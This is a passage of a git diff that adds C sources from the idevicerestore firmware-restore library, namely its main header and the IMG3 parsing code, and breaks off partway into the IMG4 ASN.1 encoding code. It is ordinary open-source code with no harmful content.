+ plist_t component_node = plist_dict_get_item(manifest_node, component);
+ if (!component_node || plist_get_node_type(component_node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to find component node for %s\n", component);
+ if (filename)
+ free(filename);
+ return -1;
+ }
+
+ plist_t component_info_node = plist_dict_get_item(component_node, "Info");
+ if (!component_info_node || plist_get_node_type(component_info_node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to find component info node for %s\n", component);
+ if (filename)
+ free(filename);
+ return -1;
+ }
+
+ plist_t component_info_path_node = plist_dict_get_item(component_info_node, "Path");
+ if (!component_info_path_node || plist_get_node_type(component_info_path_node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to find component info path node for %s\n", component);
+ if (filename)
+ free(filename);
+ return -1;
+ }
+ plist_get_string_val(component_info_path_node, &filename);
+
+ *path = filename;
+ return 0;
+}
+
+const char* get_component_name(const char* filename)
+{
+ struct filename_component_map {
+ const char *fnprefix;
+ int matchlen;
+ const char *compname;
+ };
+ struct filename_component_map fn_comp_map[] = {
+ { "LLB", 3, "LLB" },
+ { "iBoot", 5, "iBoot" },
+ { "DeviceTree", 10, "DeviceTree" },
+ { "applelogo", 9, "AppleLogo" },
+ { "liquiddetect", 12, "Liquid" },
+ { "lowpowermode", 12, "LowPowerWallet0" },
+ { "recoverymode", 12, "RecoveryMode" },
+ { "batterylow0", 11, "BatteryLow0" },
+ { "batterylow1", 11, "BatteryLow1" },
+ { "glyphcharging", 13, "BatteryCharging" },
+ { "glyphplugin", 11, "BatteryPlugin" },
+ { "batterycharging0", 16, "BatteryCharging0" },
+ { "batterycharging1", 16, "BatteryCharging1" },
+ { "batteryfull", 11, "BatteryFull" },
+ { "needservice", 11, "NeedService" },
+ { "SCAB", 4, "SCAB" },
+ { "sep-firmware", 12, "RestoreSEP" },
+ { NULL, 0, NULL }
+ };
+ int i = 0;
+ while (fn_comp_map[i].fnprefix) {
+ if (!strncmp(filename, fn_comp_map[i].fnprefix, fn_comp_map[i].matchlen)) {
+ return fn_comp_map[i].compname;
+ }
+ i++;
+ }
+ logger(LL_WARNING, "Unhandled component '%s'", filename);
+ return NULL;
+}
diff --git a/sources/MobileRestoreCore/idevicerestore.h b/sources/MobileRestoreCore/idevicerestore.h
new file mode 100644
index 00000000..ce8686f3
--- /dev/null
+++ b/sources/MobileRestoreCore/idevicerestore.h
@@ -0,0 +1,126 @@
+/*
+ * idevicerestore.h
+ * Restore device firmware and filesystem
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_H
+#define IDEVICERESTORE_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdio.h>
+#include <stdint.h>
+#include <plist/plist.h>
+#include <libirecovery.h>
+
+// the flag with value 1 is reserved for internal use only. don't use it.
+#define FLAG_DEBUG (1 << 1)
+#define FLAG_ERASE (1 << 2)
+#define FLAG_CUSTOM (1 << 3)
+#define FLAG_EXCLUDE (1 << 4)
+#define FLAG_PWN (1 << 5)
+#define FLAG_NOACTION (1 << 6)
+#define FLAG_SHSHONLY (1 << 7)
+#define FLAG_LATEST (1 << 8)
+#define FLAG_INTERACTIVE (1 << 9)
+#define FLAG_ALLOW_RESTORE_MODE (1 << 10)
+#define FLAG_NO_RESTORE (1 << 11)
+#define FLAG_IGNORE_ERRORS (1 << 12)
+#define FLAG_KEEP_PERS (1 << 13)
+#define FLAG_IN_PROGRESS (1 << 30)
+
+#define RESTORE_VARIANT_ERASE_INSTALL "Erase Install (IPSW)"
+#define RESTORE_VARIANT_UPGRADE_INSTALL "Upgrade Install (IPSW)"
+#define RESTORE_VARIANT_MACOS_RECOVERY_OS "macOS Customer"
+
+struct idevicerestore_client_t;
+struct ipsw_archive;
+typedef struct ipsw_archive* ipsw_archive_t;
+
+enum {
+ RESTORE_STEP_DETECT = 0,
+ RESTORE_STEP_PREPARE,
+ RESTORE_STEP_UPLOAD_FS,
+ RESTORE_STEP_VERIFY_FS,
+ RESTORE_STEP_FLASH_FW,
+ RESTORE_STEP_FLASH_BB,
+ RESTORE_STEP_FUD,
+ RESTORE_STEP_UPLOAD_IMG,
+ RESTORE_NUM_STEPS
+};
+
+// lpol_file has been extracted from the IMG4 dump of the ac2 usb protocol. It is not present in the .ipsw and
+// represents and empty "local policy". See https://support.apple.com/guide/security/contents-a-localpolicy-file-mac-apple-silicon-secc745a0845/web.
+extern const uint8_t lpol_file[22];
+extern const uint32_t lpol_file_length;
+
+typedef void (*idevicerestore_progress_cb_t)(int step, double step_progress, void* userdata);
+
+struct idevicerestore_client_t* idevicerestore_client_new(void);
+void idevicerestore_client_free(struct idevicerestore_client_t* client);
+
+void idevicerestore_set_ecid(struct idevicerestore_client_t* client, uint64_t ecid);
+void idevicerestore_set_udid(struct idevicerestore_client_t* client, const char* udid);
+void idevicerestore_set_flags(struct idevicerestore_client_t* client, int flags);
+void idevicerestore_set_ipsw(struct idevicerestore_client_t* client, const char* path);
+void idevicerestore_set_cache_path(struct idevicerestore_client_t* client, const char* path);
+void idevicerestore_set_progress_callback(struct idevicerestore_client_t* client, idevicerestore_progress_cb_t cbfunc, void* userdata);
+
+int idevicerestore_start(struct idevicerestore_client_t* client);
+const char* idevicerestore_get_error(void);
+
+irecv_device_t get_irecv_device(struct idevicerestore_client_t* client);
+int get_ecid(struct idevicerestore_client_t* client, uint64_t* ecid);
+int is_image4_supported(struct idevicerestore_client_t* client);
+int get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int get_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss);
+int get_local_policy_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss);
+int get_recoveryos_root_ticket_tss_response(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* tss);
+int get_recovery_os_local_policy_tss_response(
+ struct idevicerestore_client_t* client,
+ plist_t build_identity,
+ plist_t* tss,
+ plist_t args);
+void fixup_tss(plist_t tss);
+int build_manifest_get_identity_count(plist_t build_manifest);
+int build_manifest_check_compatibility(plist_t build_manifest, const char* product);
+void build_manifest_get_version_information(plist_t build_manifest, struct idevicerestore_client_t* client);
+plist_t build_manifest_get_build_identity_for_model(plist_t build_manifest, const char *hardware_model);
+plist_t build_manifest_get_build_identity_for_model_with_variant(plist_t build_manifest, const char *hardware_model, const char *variant, int exact);
+int build_manifest_get_build_count(plist_t build_manifest);
+void build_identity_print_information(plist_t build_identity);
+int build_identity_has_component(plist_t build_identity, const char* component);
+int build_identity_get_component_path(plist_t build_identity, const char* component, char** path);
+int ipsw_extract_filesystem(ipsw_archive_t ipsw, plist_t build_identity, char** filesystem);
+int extract_component(ipsw_archive_t ipsw, const char* path, void** component_data, size_t* component_size);
+int personalize_component(struct idevicerestore_client_t* client, const char *component, const void* component_data, size_t component_size, plist_t tss_response, void** personalized_component, size_t* personalized_component_size);
+int get_preboard_manifest(struct idevicerestore_client_t* client, plist_t build_identity, plist_t* manifest);
+
+const char* get_component_name(const char* filename);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/img3.c b/sources/MobileRestoreCore/img3.c
new file mode 100644
index 00000000..db50703f
--- /dev/null
+++ b/sources/MobileRestoreCore/img3.c
@@ -0,0 +1,451 @@
+/*
+ * img3.c
+ * Functions for handling with Apple's IMG3 format
+ *
+ * Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "img3.h"
+#include "common.h"
+#include "idevicerestore.h"
+
+static void img3_free(img3_file* image);
+static img3_element* img3_parse_element(const unsigned char* data);
+static void img3_free_element(img3_element* element);
+
+static img3_file* img3_parse_file(const unsigned char* data, unsigned int size) {
+ unsigned int data_offset = 0;
+ img3_element* element;
+ img3_header* header = (img3_header*) data;
+ if (header->signature != kImg3Container) {
+ logger(LL_ERROR, "Invalid IMG3 file\n");
+ return NULL;
+ }
+
+ img3_file* image = (img3_file*) malloc(sizeof(img3_file));
+ if (image == NULL) {
+ logger(LL_ERROR, "Unable to allocate memory for IMG3 file\n");
+ return NULL;
+ }
+ memset(image, '\0', sizeof(img3_file));
+ image->idx_ecid_element = -1;
+ image->idx_shsh_element = -1;
+ image->idx_cert_element = -1;
+
+ image->header = (img3_header*) malloc(sizeof(img3_header));
+ if (image->header == NULL) {
+ logger(LL_ERROR, "Unable to allocate memory for IMG3 header\n");
+ img3_free(image);
+ return NULL;
+ }
+ memcpy(image->header, data, sizeof(img3_header));
+ data_offset += sizeof(img3_header);
+
+ img3_element_header* current = NULL;
+ while (data_offset < size) {
+ current = (img3_element_header*) &data[data_offset];
+ switch (current->signature) {
+ case kTypeElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse TYPE element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed TYPE element\n");
+ break;
+
+ case kDataElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse DATA element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed DATA element\n");
+ break;
+
+ case kVersElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse VERS element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed VERS element\n");
+ break;
+
+ case kSepoElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse SEPO element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed SEPO element\n");
+ break;
+
+ case kBordElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse BORD element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed BORD element\n");
+ break;
+
+ case kChipElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse CHIP element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed CHIP element\n");
+ break;
+
+ case kKbagElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse first KBAG element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed KBAG element\n");
+ break;
+
+ case kEcidElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse ECID element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->idx_ecid_element = image->num_elements;
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed ECID element\n");
+ break;
+
+ case kShshElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse SHSH element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->idx_shsh_element = image->num_elements;
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed SHSH element\n");
+ break;
+
+ case kCertElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse CERT element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->idx_cert_element = image->num_elements;
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed CERT element\n");
+ break;
+
+ case kUnknElement:
+ element = img3_parse_element(&data[data_offset]);
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to parse UNKN element\n");
+ img3_free(image);
+ return NULL;
+ }
+ image->elements[image->num_elements++] = element;
+ logger(LL_DEBUG, "Parsed UNKN element\n");
+ break;
+
+ default:
+ logger(LL_ERROR, "Unknown IMG3 element type %08x\n", current->signature);
+ img3_free(image);
+ return NULL;
+ }
+ data_offset += current->full_size;
+ }
+
+ return image;
+}
+
+static img3_element* img3_parse_element(const unsigned char* data) {
+ img3_element_header* element_header = (img3_element_header*) data;
+ img3_element* element = (img3_element*) malloc(sizeof(img3_element));
+ if (element == NULL) {
+ logger(LL_ERROR, "Unable to allocate memory for IMG3 element\n");
+ return NULL;
+ }
+ memset(element, '\0', sizeof(img3_element));
+
+ element->data = (unsigned char*) malloc(element_header->full_size);
+ if (element->data == NULL) {
+ logger(LL_ERROR, "Unable to allocate memory for IMG3 element data\n");
+ free(element);
+ return NULL;
+ }
+ memcpy(element->data, data, element_header->full_size);
+ element->header = (img3_element_header*) element->data;
+ element->type = (img3_element_type) element->header->signature;
+
+ return element;
+}
+
+static void img3_free(img3_file* image) {
+ if (image != NULL) {
+ if (image->header != NULL) {
+ free(image->header);
+ }
+
+ int i;
+ for (i = 0; i < image->num_elements; i++) {
+ img3_free_element(image->elements[i]);
+ image->elements[i] = NULL;
+ }
+ free(image);
+ image = NULL;
+ }
+}
+
+static void img3_free_element(img3_element* element) {
+ if (element != NULL) {
+ if (element->data != NULL) {
+ free(element->data);
+ element->data = NULL;
+ }
+ free(element);
+ element = NULL;
+ }
+}
+
+static int img3_replace_signature(img3_file* image, const unsigned char* signature) {
+ int i, oldidx;
+ int offset = 0;
+ img3_element* ecid = img3_parse_element(&signature[offset]);
+ if (ecid == NULL || ecid->type != kEcidElement) {
+ logger(LL_ERROR, "Unable to find ECID element in signature\n");
+ return -1;
+ }
+ offset += ecid->header->full_size;
+
+ img3_element* shsh = img3_parse_element(&signature[offset]);
+ if (shsh == NULL || shsh->type != kShshElement) {
+ logger(LL_ERROR, "Unable to find SHSH element in signature\n");
+ return -1;
+ }
+ offset += shsh->header->full_size;
+
+ img3_element* cert = img3_parse_element(&signature[offset]);
+ if (cert == NULL || cert->type != kCertElement) {
+ logger(LL_ERROR, "Unable to find CERT element in signature\n");
+ return -1;
+ }
+ offset += cert->header->full_size;
+
+ if (image->idx_ecid_element >= 0) {
+ img3_free_element(image->elements[image->idx_ecid_element]);
+ image->elements[image->idx_ecid_element] = ecid;
+ } else {
+ if (image->idx_shsh_element >= 0) {
+ // move elements by 1
+ oldidx = image->idx_shsh_element;
+ for (i = image->num_elements-1; i >= oldidx; i--) {
+ image->elements[i+1] = image->elements[i];
+ switch (image->elements[i+1]->type) {
+ case kShshElement:
+ image->idx_shsh_element = i+1;
+ break;
+ case kCertElement:
+ image->idx_cert_element = i+1;
+ break;
+ case kEcidElement:
+ image->idx_ecid_element = i+1;
+ break;
+ default:
+ break;
+ }
+ }
+ image->elements[oldidx] = ecid;
+ image->idx_ecid_element = oldidx;
+ image->num_elements++;
+ } else {
+ // append if not found
+ image->elements[image->num_elements] = ecid;
+ image->idx_ecid_element = image->num_elements;
+ image->num_elements++;
+ }
+ }
+
+ if (image->idx_shsh_element >= 0) {
+ img3_free_element(image->elements[image->idx_shsh_element]);
+ image->elements[image->idx_shsh_element] = shsh;
+ } else {
+ if (image->idx_cert_element >= 0) {
+ // move elements by 1
+ oldidx = image->idx_cert_element;
+ for (i = image->num_elements-1; i >= oldidx; i--) {
+ image->elements[i+1] = image->elements[i];
+ switch (image->elements[i+1]->type) {
+ case kShshElement:
+ image->idx_shsh_element = i+1;
+ break;
+ case kCertElement:
+ image->idx_cert_element = i+1;
+ break;
+ case kEcidElement:
+ image->idx_ecid_element = i+1;
+ break;
+ default:
+ break;
+ }
+ }
+ image->elements[oldidx] = shsh;
+ image->idx_shsh_element = oldidx;
+ image->num_elements++;
+ } else {
+ // append if not found
+ image->elements[image->num_elements] = shsh;
+ image->idx_shsh_element = image->num_elements;
+ image->num_elements++;
+ }
+ }
+
+ if (image->idx_cert_element >= 0) {
+ img3_free_element(image->elements[image->idx_cert_element]);
+ image->elements[image->idx_cert_element] = cert;
+ } else {
+ // append if not found
+ image->elements[image->num_elements] = cert;
+ image->idx_cert_element = image->num_elements;
+ image->num_elements++;
+ }
+
+ return 0;
+}
+
+static int img3_get_data(img3_file* image, unsigned char** pdata, unsigned int* psize) {
+ int i;
+ int offset = 0;
+ int size = sizeof(img3_header);
+
+ // Add up the size of the image first so we can allocate our memory
+ for (i = 0; i < image->num_elements; i++) {
+ size += image->elements[i]->header->full_size;
+ }
+
+ logger(LL_INFO, "reconstructed size: %d\n", size);
+
+ unsigned char* data = (unsigned char*) malloc(size);
+ if (data == NULL) {
+ logger(LL_ERROR, "Unable to allocate memory for IMG3 data\n");
+ return -1;
+ }
+
+ // Add data to our new header (except shsh_offset)
+ img3_header* header = (img3_header*) data;
+ header->full_size = size;
+ header->signature = image->header->signature;
+ header->data_size = size - sizeof(img3_header);
+ header->image_type = image->header->image_type;
+ offset += sizeof(img3_header);
+
+ // Copy each section over to the new buffer
+ for (i = 0; i < image->num_elements; i++) {
+ memcpy(&data[offset], image->elements[i]->data, image->elements[i]->header->full_size);
+ if (image->elements[i]->type == kShshElement) {
+ header->shsh_offset = offset - sizeof(img3_header);
+ }
+ offset += image->elements[i]->header->full_size;
+ }
+
+ if (offset != size) {
+ logger(LL_ERROR, "Incorrectly sized image data\n");
+ free(data);
+ *pdata = 0;
+ *psize = 0;
+ return -1;
+ }
+
+ *pdata = data;
+ *psize = size;
+ return 0;
+}
+
+int img3_stitch_component(const char* component_name, const void* component_data, size_t component_size, const void* blob, size_t blob_size, void** img3_data, size_t *img3_size)
+{
+ img3_file *img3 = NULL;
+ unsigned char* outbuf = NULL;
+ unsigned int outsize = 0;
+
+ if (!component_name || !component_data || component_size == 0 || !blob || blob_size == 0 || !img3_data || !img3_size) {
+ return -1;
+ }
+
+ logger(LL_INFO, "Personalizing IMG3 component %s...\n", component_name);
+
+ /* parse current component as img3 */
+ img3 = img3_parse_file(component_data, component_size);
+ if (img3 == NULL) {
+ logger(LL_ERROR, "Unable to parse %s IMG3 file\n", component_name);
+ return -1;
+ }
+
+ if (((img3_element_header*)blob)->full_size != blob_size) {
+ logger(LL_ERROR, "Invalid blob passed for %s IMG3: The size %d embedded in the blob does not match the passed size of %zu\n", component_name, ((img3_element_header*)blob)->full_size, blob_size);
+ img3_free(img3);
+ return -1;
+ }
+
+ /* personalize the component using the blob */
+ if (img3_replace_signature(img3, blob) < 0) {
+ logger(LL_ERROR, "Unable to replace %s IMG3 signature\n", component_name);
+ img3_free(img3);
+ return -1;
+ }
+
+ /* get the img3 file as data */
+ if (img3_get_data(img3, &outbuf, &outsize) < 0) {
+ logger(LL_ERROR, "Unable to reconstruct %s IMG3\n", component_name);
+ img3_free(img3);
+ return -1;
+ }
+
+ /* cleanup */
+ img3_free(img3);
+
+ *img3_data = outbuf;
+ *img3_size = outsize;
+
+ return 0;
+}
diff --git a/sources/MobileRestoreCore/img3.h b/sources/MobileRestoreCore/img3.h
new file mode 100644
index 00000000..b8e30e9d
--- /dev/null
+++ b/sources/MobileRestoreCore/img3.h
@@ -0,0 +1,90 @@
+/*
+ * img3.h
+ * Functions for handling with Apple's IMG3 format
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_IMG3_H
+#define IDEVICERESTORE_IMG3_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef enum {
+ kNorContainer = 0x696D6733, // img3
+ kImg3Container = 0x496D6733, // Img3
+ k8900Container = 0x30303938, // 8900
+ kImg2Container = 0x494D4732 // IMG2
+} img3_container;
+
+typedef enum {
+ kDataElement = 0x44415441, // DATA
+ kTypeElement = 0x54595045, // TYPE
+ kKbagElement = 0x4B424147, // KBAG
+ kShshElement = 0x53485348, // SHSH
+ kCertElement = 0x43455254, // CERT
+ kChipElement = 0x43484950, // CHIP
+ kProdElement = 0x50524F44, // PROD
+ kSdomElement = 0x53444F4D, // SDOM
+ kVersElement = 0x56455253, // VERS
+ kBordElement = 0x424F5244, // BORD
+ kSepoElement = 0x5345504F, // SEPO
+ kEcidElement = 0x45434944, // ECID
+ kUnknElement = 0x53414c54 // FIXME
+} img3_element_type;
+
+typedef struct {
+ unsigned int signature;
+ unsigned int full_size;
+ unsigned int data_size;
+ unsigned int shsh_offset;
+ unsigned int image_type;
+} img3_header;
+
+typedef struct {
+ unsigned int signature;
+ unsigned int full_size;
+ unsigned int data_size;
+} img3_element_header;
+
+typedef struct {
+ img3_element_header* header;
+ img3_element_type type;
+ unsigned char* data;
+} img3_element;
+
+typedef struct {
+ unsigned char* data;
+ img3_header* header;
+ int num_elements;
+ img3_element* elements[16];
+ int idx_ecid_element;
+ int idx_shsh_element;
+ int idx_cert_element;
+} img3_file;
+
+int img3_stitch_component(const char* component_name, const void* component_data, size_t component_size, const void* blob, size_t blob_size, void** img3_data, size_t *img3_size);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/img4.c b/sources/MobileRestoreCore/img4.c
new file mode 100644
index 00000000..732ef69e
--- /dev/null
+++ b/sources/MobileRestoreCore/img4.c
@@ -0,0 +1,1001 @@
+/*
+ * img4.c
+ * Functions for handling the IMG4 format
+ *
+ * Copyright (c) 2013-2019 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdlib.h>
+#include <string.h>
+
+#include <libtatsu/tss.h>
+
+#include "common.h"
+#include "img4.h"
+#include "endianness.h"
+
+#define ASN1_PRIVATE 0xc0
+#define ASN1_PRIMITIVE_TAG 0x1f
+#define ASN1_CONSTRUCTED 0x20
+#define ASN1_SEQUENCE 0x10
+#define ASN1_SET 0x11
+#define ASN1_CONTEXT_SPECIFIC 0x80
+#define ASN1_IA5_STRING 0x16
+#define ASN1_OCTET_STRING 0x04
+#define ASN1_INTEGER 0x02
+#define ASN1_BOOLEAN 0x01
+
+#define IMG4_MAGIC "IMG4"
+#define IMG4_MAGIC_SIZE 4
+
+static int asn1_calc_int_size(uint64_t value)
+{
+ int i = 1;
+ while ((value >>= 7) != 0) i++;
+ return i;
+}
+
+static void asn1_write_int_value(unsigned char **p, uint64_t value, int size)
+{
+ int value_size = (size > 0) ? size : asn1_calc_int_size(value);
+ int i = 0;
+ for (i = 1; i <= value_size; i++) {
+ (*p)[value_size-i] = value & 0xFF;
+ value >>= 8;
+ }
+ *p += value_size;
+}
+
+static void asn1_write_size(unsigned int size, unsigned char** data, unsigned int *data_size)
+{
+ unsigned int off = 0;
+
+ // first, calculate the size
+ if (size >= 0x1000000) {
+ // 1+4 bytes length
+ (*data)[off++] = 0x84;
+ (*data)[off++] = (size >> 24) & 0xFF;
+ (*data)[off++] = (size >> 16) & 0xFF;
+ (*data)[off++] = (size >> 8) & 0xFF;
+ (*data)[off++] = size & 0xFF;
+ } else if (size >= 0x10000) {
+ // 1+3 bytes length
+ (*data)[off++] = 0x83;
+ (*data)[off++] = (size >> 16) & 0xFF;
+ (*data)[off++] = (size >> 8) & 0xFF;
+ (*data)[off++] = size & 0xFF;
+ } else if (size >= 0x100) {
+ // 1+2 bytes length
+ (*data)[off++] = 0x82;
+ (*data)[off++] = (size >> 8) & 0xFF;
+ (*data)[off++] = (size & 0xFF);
+ } else if (size >= 0x80) {
+ // 1+1 byte length
+ (*data)[off++] = 0x81;
+ (*data)[off++] = (size & 0xFF);
+ } else {
+ // 1 byte length
+ (*data)[off++] = size & 0xFF;
+ }
+
+ *data += off;
+ *data_size += off;
+}
+
+static void asn1_write_element_header(unsigned char type, unsigned int size, unsigned char** data, unsigned int *data_size)
+{
+ unsigned int off = 0;
+
+ if (!type || size == 0 || !data || !data_size) {
+ return;
+ }
+
+ (*data)[off++] = type;
+ *data += off;
+
+ asn1_write_size(size, data, &off);
+
+ *data_size += off;
+}
+
+static unsigned char* asn1_create_element_header(unsigned char type, unsigned int size, unsigned char** data, unsigned int *data_size)
+{
+ unsigned char buf[6];
+ unsigned int off = 0;
+
+ if (!type || size == 0 || !data || !data_size) {
+ return NULL;
+ }
+
+ buf[off++] = type;
+
+ unsigned char* p = &buf[off];
+ asn1_write_size(size, &p, &off);
+
+ *data = malloc(off);
+ memcpy(*data, buf, off);
+ *data_size = off;
+
+ return *data;
+}
+
+static void asn1_write_priv_element(unsigned char **p, unsigned int *length, unsigned int value)
+{
+ int i = 0;
+ int ttag = 0;
+ int tag = value;
+
+ i = ASN1_CONSTRUCTED;
+ i |= (0xFF & ASN1_PRIVATE);
+
+ (*p)[0] = i | ASN1_PRIMITIVE_TAG;
+ *p += 1;
+ *length += 1;
+
+ for (i = 0, ttag = tag; ttag > 0; i++)
+ ttag >>= 7;
+ ttag = i;
+ while (i-- > 0) {
+ (*p)[i] = tag & 0x7f;
+ if (i != (ttag - 1))
+ (*p)[i] |= 0x80;
+ tag >>= 7;
+ }
+ *p += ttag;
+ *length += ttag;
+}
+
+static void asn1_write_element(unsigned char **p, unsigned int *length, unsigned char type, void *data, int data_len)
+{
+ unsigned int this_len = 0;
+ switch (type) {
+ case ASN1_IA5_STRING: {
+ char *str = (char*)data;
+ size_t len = (data_len < 0) ? strlen(str) : data_len;
+ asn1_write_element_header(type, len, p, &this_len);
+ *length += this_len;
+ memcpy(*p, str, len);
+ *p += len;
+ *length += len;
+ } break;
+ case ASN1_OCTET_STRING: {
+ asn1_write_element_header(type, data_len, p, &this_len);
+ *length += this_len;
+ memcpy(*p, data, data_len);
+ *p += data_len;
+ *length += data_len;
+ } break;
+ case ASN1_INTEGER: {
+ uint64_t value = *(uint64_t*)data;
+ int value_size = asn1_calc_int_size(value);
+ asn1_write_element_header(type, value_size, p, &this_len);
+ *length += this_len;
+ asn1_write_int_value(p, value, value_size);
+ *length += value_size;
+ } break;
+ case ASN1_BOOLEAN: {
+ unsigned int value = *(unsigned int*)data;
+ asn1_write_element_header(type, 1, p, &this_len);
+ *length += this_len;
+ asn1_write_int_value(p, value ? 0xFF : 0x00, 1);
+ *length += 1;
+ } break;
+ case (ASN1_SET | ASN1_CONSTRUCTED): {
+ asn1_write_element_header(type, data_len, p, &this_len);
+ *length += this_len;
+ if (data && data_len > 0) {
+ memcpy(*p, data, data_len);
+ *p += data_len;
+ *length += data_len;
+ }
+ } break;
+ default:
+ logger(LL_ERROR, "%s: type %02x is not implemented\n", __func__, type);
+ return;
+ }
+}
+
+static unsigned int asn1_get_element(const unsigned char* data, unsigned char* type, unsigned char* size)
+{
+ unsigned int off = 0;
+
+ if (!data)
+ return 0;
+
+ if (type)
+ *type = data[off++];
+ if (size)
+ *size = data[off++];
+
+ return off;
+}
+
+static const unsigned char *asn1_find_element(unsigned int index, unsigned char type, const unsigned char* data)
+{
+ unsigned char el_type = 0;
+ unsigned char el_size = 0;
+ unsigned int off = 0;
+ int i;
+
+ // verify data integrity
